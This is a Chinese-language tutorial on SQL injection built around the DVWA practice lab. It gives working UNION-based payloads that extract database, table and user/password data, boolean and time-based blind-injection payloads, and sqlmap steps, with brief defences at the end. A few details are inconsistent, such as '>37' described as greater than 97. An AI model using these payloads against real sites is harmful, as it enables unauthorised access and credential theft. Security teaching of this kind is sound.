sql注入漏洞
数据定义语言DDL用于定义数据库结构,数据操作语言DML用于对数据库进行查询或更新。
一、注入原理
产生SQL注入漏洞的根本原因在于代码中没有对用户输入项进行验证和处理便直接拼接到查询语句中。利用SQL注入漏洞,攻击者可以在应用的查询语句中插入自己的SQL代码并传递给后台SQL服务器时加以解析并执行。
二、寻找注入点
如果对一个网站进行SQL注入攻击,首先需要找到存在SQL注入漏洞的地方,也就是注入点。可能的SQL注入点一般存在于登陆页面、查找页面、或添加页面等用户可以查找或修改数据的地方。
寻找注入点的思想,就是在参数后插入可能使查询结果发生改变的SQL代码。如果插入的代码没有被数据库执行,而是当作普通的字符串处理,那么应用可能是安全的,如果插入的代码被数据库执行了,通常说明该应用存在SQL注入漏洞。
GET型的请求最容易被注入。通常关注ASP、JSP、CGI或PHP的网页,尤其是URL中携带参数的。
-
单引号法
在url参数后添加一个单引号,若存在一个注入点则通常会返回一个错误。
-
永真永假法
与上一个永真式,逻辑不受影响,页面应当与原页面相同;与上一个永假式,会影响原逻辑,页面可能出错或跳转。
三、SQL注入
-
LOW
发现报错,接下来进行自动化注入。
使用sqlmap-u url进行测试的时候,意味着要访问sqli页面,需要通过login.php优先登录,登录后才可以访问。因此,需要获取登陆权限才可以访问。
在利用sqlmap之前,需要打开本地代理服务器,kali里,内置了SQLmap、Paros Proxy、Burp Suite等软件),选用Pars。
分析源码,可以看到没有对参数做任何的过滤,直接带入数据库进行查询,分析sql查询语句,可能存在字符型sql注入。
判断sql是否存在存入,以及注入的类型:
1' and '1'='1
猜解SQL查询语句中的字段数
1' order by 2#
1' order by 3#
从上面两个图可以说明,SQL语句查询的表的字段数是2
查询当前的数据库,以及版本:
1' union select version(),database()#
获取数据库中的表:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
获取表中的字段名:
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
获得字段中的数据:
1' union select user,password from users#
四、SQL注入实践
通过Sqlmapmap进行自动化注入。使用sqlmap -u url进行测试的时候,要能登陆sqli页面,需要通过login.php优先登录,登录后才可以访问。打开本地代理服务器并抓取cookie记录。
1. 判定注入
2. 列举数据库
3.列举表
4. 列举列
5. 列举数据
四、SQL注入盲注
有一些SQL注入可以将SQL执行的结果回显,这种情况下,可以直接通过回显的结果来显示想要查询的各类信息,但在实际情况中,具有回显的注入点非常罕见。这种情况下就需要SQL盲注。
SQL盲注是不能通过直接显示的途径来获取数据库的方法。在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可能是响应时间不同)。一般情况下,盲注可分为三类:基于布尔SQL盲注、基于时间的SQL盲注、基于报错的SQL盲注。
1. 基于布尔SQL盲注
对于一个注入点,页面只返回True和Fause两种类型页面,此时可以利用基于布尔SQL的盲注,就是通过判断语句猜解,如果判断条件正确则页面显示正常,否则报错,这样一轮一轮猜下去直到猜对,是比较简单但相对麻烦的盲注方式。
a. 判断是否存在注入,注入是字符型还是数字型。
输入1,显示用户存在。
输入1‘ and 1=1 #,单引号为了闭合原来SQL语句中的第一个单引号,而后面的#为了闭合后面的单引号。运行后显示存在。
输入1’ and 1=2 #,显示不存在,说明存在SQL盲注。源代码中可看到未对ID做任何处理。
b. 猜解当前数据库名
首先猜解数据库名的长度,然后挨个猜解字符。
输入1‘ and length(database())=1 #,显示不存在;
输入1’ and length(database())=4 #,显示存在,说明数据库名长度为4。
采用二分法猜解数据库名字。
输入1‘ and ascii(substr(database(),1,1))>37 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
122(小写字母z的ascii值)、109(小写字母m的ascii值)、103(小写字母g的ascii值)、100(小写字母d的ascii值)。
重复步骤,猜解出完整的数据库名为dvwa。
c. 猜解数据库中的表名。
首先,猜解数据库中表的数量;
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1 #,显示不存在;
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2 #,显示存在。
说明数据库中有两个表,接着猜解表名:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #,显示不存在;
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=5 #,显示存在。
说明第一个表名长度为5。
接下来,继续用二分法猜测表名:
1' and ascii (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #,
1' and ascii (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=117 #
以此类推,表的名字为users和guestbook;
d. 猜解表中字段名:
首先,猜解表中字段的数量,
1' and (select count(column_name) from information_schema.columns where table_name='users')=8 #,显示存在;
说明users表中有8个字段,接着挨个猜解字段名:
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7 #,显示存在
说明user表中的第一个字段为7个字符长度,采用二分法,即可猜解出所有字段名。
e. 猜解表中数据
继续用二分法。
2. 基于时间的SQL盲注
也可以使用基于时间的SQL盲注,首先判断是否存在注入,注入是字符型还是数字型:
输入1' and sleep(5) #,感觉到明显延迟;
输入1 and sleep(5) #,没有延迟,说明存在字符型的基于时间的盲注。
猜解当前数据库名字长度:
1' and if(length(database())=4,sleep(5),1) #,明显延迟。
采用二分法猜解数据库名:
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1) #,明显延迟。
以此类推,猜解表、字段和数据。
五、SQL注入防御措施
如:
- 在服务端正式处理之前对提交数据的合法性进行检查;
- 封装客户端提交信息;
- 替换或删除敏感字符/字符串;
- 屏蔽出错信息。